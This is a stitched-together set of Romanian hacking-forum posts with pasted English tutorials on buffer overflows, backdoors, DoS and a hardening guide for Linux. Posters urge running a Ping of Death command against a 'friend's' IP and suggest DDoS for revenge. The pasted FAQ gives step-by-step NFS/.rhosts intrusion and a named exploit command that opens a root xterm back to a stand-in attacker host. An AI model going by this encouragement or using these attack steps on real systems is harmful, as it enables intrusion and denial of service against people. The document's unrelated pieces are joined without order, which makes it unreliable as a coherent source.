Dr4k3

tot ce trebuie sa faci e sa scrii in cmd ce e scris acolo cu rosu... ping -65527 -s 1 target target e ip "prietenului" tau da ma rog ie vechi si nu prea mai merge...majoritatea au protectie....mai ales daca ai firewall

canibalule recunoaste ca vanezi posturi...p warezbb ai 1100 d nebun

asha ie....poate o sa gasesc un tut d genu asta sa til dau...

mnah lai pus pa 2 hosturi da nici unu nu ie bun....man pls dacu incolo sa bagi p share.urbanfriends.com

:D:D:D asa mi sa vedea ecranu d la telefon dupa ce mia cazut in apa

mda tu ai dreptate da prb ie k asta nul poti lua dupa tine mereu...pe cand shutdown -i...

slogik:'>http://www.yahworld.com/ slogik: site despre yahooo hacking...forum blabla all greetz and credits to hanibal, l33t h4xor, The One Who Fucked Google

despre ce limbaje?nishte explicatii pls....

ms mult man da totusi de ce nu folosesti share.urbanfriends.com?

oameni buni de ce nu folositi share.urbanfriends.com? ie special pentru rst...

man srry da ieshti orb...acolo scrie Click here to get our new RST SHARE!... pls baga acolo dak bagi k ie mai bine pt omenire

mnah damnit ai dreptate...shi ma bucuram dgeaba...nar nik BizZaroO...asta ie...

e'>http://share.urbanfriends.us/savefile_php/uploads/7a648d8280.zip e un html tut in romana (cred k vati dat seama )...e in format pdf...

mnah da tu ai dreptate da pe forum is acceptate 2 limbi: ro shi en...da knu shtii en...asta ie...pan la urma ar trb sa inveti la sc ma rog...da dupa cum ai observat majoritatea membrilor stiu eng cat de cat...destul ca sa intelegi un tut...

srry o sa editez... nu miam dat seama mnah mie numi mai mere ping !!!!!!!!!!!! nu ma refer la ping of death ma refer la simplul ping...dak dau p google sau altceva mai serios mere...da dak dau p un ip...nu mere...Request timed out...

mnah d unde stii tu k ie copy paste?ma rog ie da cu niste modificari...adik nu am luat tot am luat ce ie bun hanibalule

A buffer overflow is when a buffer was assigned by a programmer to hold variable data, and the variable data placed into that buffer is greater that the size of the initial assignment of the buffer. Depending on the operating system and exactly what the "extra" data overflowing the buffer is, this can be used by a hacker to cause portions of a system to fail, or even execute arbitrary code. Most buffer overflow exploits center around user-supplied data exceeding a buffer, and the extra data being executed on the stack to open up additional access. Buffer overflows exist on all major network operating systems.

A backdoor is simply a way back into a system that not only bypasses existing security to regain access, but may even defeat any additional security enhancementsadded onto a system. Backdoors can range from the simple to the exotic. Simple backdoors might include creating a new user account just for your intrusion needs, or taking over a little-used account. More complex backdoors may bypass regular access completely and involve trojans, such as a login program that gives you administrative access if you type in a special password. Backdoors can be chained together, which is the technique used by most hackers. This involves a combination of techniques. For example, one or more accounts that have basic user access may have had their passwords cracked, and one or more accounts may be created by the hacker. Once the system is accessed by the hacker, the hacker may activate some technique or exploit a system misconfiguration that allows greater access. Often a hacker will lower the defenses in certain areas by slightly altering system configuration files. Perhaps a trojan program has been installed that will open holes upon command by the hacker.

DoS (Denial of Service) is simply rendering a service incapable of responding to requests in a timely manner. This is a controversial subject, since some people think that DoS is not a hack, and/or is rather juvenile and petty. We prefer to think of them as just one more kind of tool in the toolbox, and as such, will continue to include material on them in the Hack FAQ. Ask yourself which is more alarming - the number of kids trying DoS attacks, or the number of DoS attacks that succeed? Regardless of your feelings, DoS has been steadily gaining in popularity, whether with hackers mad at other hackers, sysadmins mad at spammers, or whatever - virtually everyone we've run into that is aware of the potential of DoS at least has software to do it, admins included.

The Ping of Death is a large ICMP packet. The target receives the ping in fragments and starts reassembling the packet. However, due to the size of the packet once it is reassembled, it is too big for the buffer and overflows it. This causes unpredictable results, such as reboots or system hangs. Windows NT is capable of sending such a packet. By simply typing in "ping -65527 -s 1 target" you can send such a ping. There are also source code examples available for Unix platforms that allow large ping packets to be constructed. These sources are freely available. Most systems have patches available to prevent the Ping of Death from working. However, it is still included here for historical reasons, as the Ping of Death helped get the whole DoS craze really going, since it was so easy to perform.

Unix Remote Attacks What are remote hacks? A remote hack is when you attack a server you are not logged into. Usually this is done from another server, although in some cases you can do it from a regular PC (depending on the operating system). Guessing a user account and password (unless it is a guest account) on a remote system is barely considered a remote hack, so we're not really cover that. We'll assume you don't know an account name and password on the remote system. Remote hacks come in a couple of different flavors. Usually exploiting an existing service running on the victim server (which is misconfigured or allows too much access) is the goal. Exporting a NFS mount read/write to anyone might not be a bad thing, but if you can NFS mount directories containing .rhosts files, then it can be a very bad thing. Also, certain daemons running might be subject to buffer overflows remotely, allowing someone from a remote location run arbitrary commands on the victim server. Here are a couple of examples: 1. You are root on a host named badguy. 2. You discover the host victim is exporting /home2/old read/writable to the world. 3. You also discover by fingering various accounts that user fred's home directory is /home2/old/fred and he hasn't logged in for months. 4. Quickly, you create a fred account on badguy. 5. Now you mount /home2/old and create an .rhosts file to establish trust with badguy. 6. After you become fred on badguy, you rlogin to the victim as fred. Here's another attack involving a buffer overflow: 1. This remote system is running named. 2. You have written a named exploit that allows you to send arbitrary commands through the named daemon. It does a buffer overflow trick, you compile it and name it sploit. 3. You type: sploit ns.example.com "/usr/X11R6/bin/xterm -display badguy.whatever:0" 4. A window appears on your terminal that is running as root on ns.example.com.

Changing Network Binding Order The network binding order tells Windows XP how to communicate with other services (servers). WinXP attempts to communicate with these services using multiple protocols. Some protocols are more efficient than others, therefore tuning the order in which WinXP uses these protocols greatly impacts how fast your computer processes service requests. 1. Right-click the icon "My Network Places" that resides on your desktop. In the menu that appears, select the item Properties. 2. In the window that appears, titled Network and Dial-Up Connections, in the tool bar click on the item called Advanced and from the list that appears select Advanced Settings... 3. A new window labeled Advanced Settings will now appear. In the field titled Connections: select the item Local Area Connection. The window below (called Bindings for Local Area Connection) will now show the preferred order in which protocols will be used. Note that the item Internet Protocol is not on the top of the list. 4. Select the item Internet Protocol from the list and then click on the up arrow on the right side of the window. Do this until Internet Protocol is the first item on the list under File and Printer Sharing for Microsoft Networks. 5. Repeat the procedure in step four for all of the other clients listed in the window (there will be Client for Microsoft Networks and Novell Client for Windows XP). 6. After changing the settings for all of the clients listed, click on the tab titled Provider Order. The window will now change to show a field labeled Provider Order. Note: Microsoft Windows Network is not the first item. 7. Select the item Microsoft Windows Network and then click on the up arrow on the right side of the screen to move it to the top position under Network Providers. 8. After doing this, click on OK to save the changes and then reboot the computer. Windows XP will not say anything about your need to restart your machine, however these changes will NOT take effect until you restart Windows XP.

Linux Security Basics All operations described below require that you know the root password and can su in as root. Linux Security Overview One of the main advantages of choosing Linux is that it is very secure and it is very rare to hear of major viruses, worms, or hackers which target Linux systems. That being said, Linux is not perfect and there are many things that need to be done in order to ensure that your Linux distribution is running as securely as possible. First, controlling how users can remotely access your machine is vital to its security. Secondly, a major security issue for any system is running unneeded services in the background that open holes for attackers to gain access. Linux is no different and disabling any services you are not using is also critical in securing Linux. Remote Access Protocols- SSH2 and telnet The ease of use of the Linux remote access protocols is one of the strong points of Linux, but not all the protocols are created equal. There are three main remote access protocols that can be found in nearly every Linux distribution * Telnet- The oldest and least secure of all the remote access protocols, telnet should only be used if it is the only option. All information and especially passwords are sent in plain text, so anyone could intercept the information sent across the network. * SSH- The first version of a encrypted client found on nearly every Linux machine. This client encrypts all data sent through it and is a secure option. * SSH2- A revised version of SSH that strengthened the encryption as well as added new features such as scp and sftp which make it easy to transfer files securely over the remote connection. * OpenSSH- A version of SSH2 that was rewritten for the General Public License (SSH2 is free for non-commercial use only) which has all of the same features as SSH2. If you wish to allow users to connect remotely to your machine, we recommend that SSH2 (www.ssh.com) or OpenSSH (www.OpenSSH.com) is used to provide a secure connection as well as a secure method of transferring files to remote machines (the old ftp protocol also sends passwords and data in clear text like telnet). An important note is that if you use OpenSSH as you SSH daemon, you will have to force your ssh client to use the SSH2 protocol with the -2 option. To see what version you currently have installed, simply access the SSH man page by typing: ComputerName:~# man sshd We also highly recommend that if you do not plan on using some or all of the above services that you disable the corresponding services as described below as well as disable the corresponding ports in your firewall (Linux Firewall Page). Disabling Unneeded Services Services are small programs that run in the background that perform many vital operations for both servers and workstations. During a normal install of Linux, many of these services are installed and activated during the boot process by default. Historically, some of these services have had security problems or flaws that have allowed hackers, viruses, and worms to use them as doors into unsuspecting machines. Many of these services, however, are not needed by common users and can be turned off, closing security holes and recovering system resources. Listed below are some common Linux services as well as a method for disabling services that are not needed. A Description of Common Linux Services There are a good number of services that Linux uses and it is not possible to discuss them all here. A list containing a short description of many Linux services can be found at http://www.hosef.org/wiki/LinuxServiceDescriptions along with the author's opinion on whether or not the various services should be on or off. Below is a list of common services and our recommendation on whether or not they should be turned off or on. Please note that these service names are slightly different for each version of Linux and some of the services listed below may or may not appear in your listing of services. * cron, anacron- Cron is responsible for running scheduled system jobs and anacron is responsible for running any missed jobs due to system downtime. Some versions of Linux use these two services to perform housekeeping chores, so they should be left on. * ftpd- This is the File Transfer Protocol daemon that allows a FTP server to run. If you do not have an FTP server or do not know what that is, turn it off. * httpd- This is the HTTP daemon that allows a web server to run. If you do not run a web server on your machine, turn it off. * iptables- One of the major Linux firewall tools. Since it is used to implement many of the standard firewalls, this service should be left enabled. * isdn- A service for people using ISDN to access the internet. If you do not use ISDN, disable this service * lpd- The Linux printing daemon. If you do not have a printer, turn it off. * nfs, nfslock, portmap- Three services required for the old style Linux Network File System format. Unless you are using this format, disable these three services. * pcmcia- The services for controlling laptop pcmcia devices. Disable this service unless you are running Linux on a laptop * samba, smb, smbd, nmbd- Various services related to Samba servers for allowing Windows machines to connect to printer or disk shares on your machine. These can be turned off unless you would like to access your Linux shares from Windows. * sshd, sshd2- These two services allow remote access to your machine from the SSH and SSH2 protocols respectively. If you would like to remotely access your machine, we recommend that you leave sshd2 on and turn off sshd, otherwise both can be turned off (Please note that OpenSSH appears as sshd even though it can use the SSH2 protocol, so if you want to use OpenSSH, leave sshd enabled). * telnet, telnetd- These services all you to remotely access your machine through telnet. This is very insecure and we recommend disabling telnet. Using the chkconfig Command to Disable Unneeded Services One of the easiest ways to disable unneeded services in Linux is the utility chkconfig. It is installed by default in almost all distributions, but an RPM version and a .DEB file for Debian users can also be downloaded. Services in Linux are usually run through two different structures: inetd or the newer xinetd. Inetd is an older super-server that listens for any incoming calls and directs them to the correct service depending on which services it is configured to use. The default services that inetd starts are dependent on what run level the system is in (the default graphical run level is 5). The newer xinetd runs services independent of the current run level and is supposed to be a more secure replacement for inetd. Most distributions Linux mix and match services between the two. The chkconfig utility can be used to manage services run in both types. To view the current configuration of the services, we simply have to type: ComputerName:~# chkconfig --list If chkconfig is installed, then a printout similar to the one below should appear: cron 0:off 1:off 2:on 3:on 4:on 5:on 6:off httpd 0:off 1:off 2:off 3:on 4:on 5:on 6:off ... xinetd based services: daytime on daytime-udp off time off ... Once you have decided which services you would like to disable, you must check if the services is run through xinetd or inetd and enter the appropriate command. For xinetd services, the command format is simply chkconfig <name of services> <on or off>. So if we wanted to turn off daytime in the list above, we would simply type: ComputerName:~# chkconfig daytime off Typing in chkconfig --list a second time will now show us that daytime is off. For inetd services, the run levels you wish to change must also be included, making the general command structure look like : chkconfig --level > <on or off> In the above example, to turn off the httpd services in run levels 3,4, and 5 the command would be: ComputerName:~# chkconfig --level 345 httpd off Now, when chkconfig --list is typed in, the following list should appear: cron 0:off 1:off 2:on 3:on 4:on 5:on 6:off httpd 0:off 1:off 2:off 3:off 4:off 5:off 6:off ... xinetd based services: daytime off daytime-udp off time off ... The chkconfig utility is an easy way to manage services that run at boot time, but it is important to remember that any services you disabled will still be running until you either reboot or manually kill the service.

mneah asta ie cel mai bun 100%...da nare rost sa ne certam...yo lam pus aici ca sal ia cine vrea...

mnah dak chiar ai chef sa te razbuni p cineva poti sa gasesti ceva mai bunb cum ar fi ddos sa ualte nebunii care iti ttrec prin cap... b00ting is lame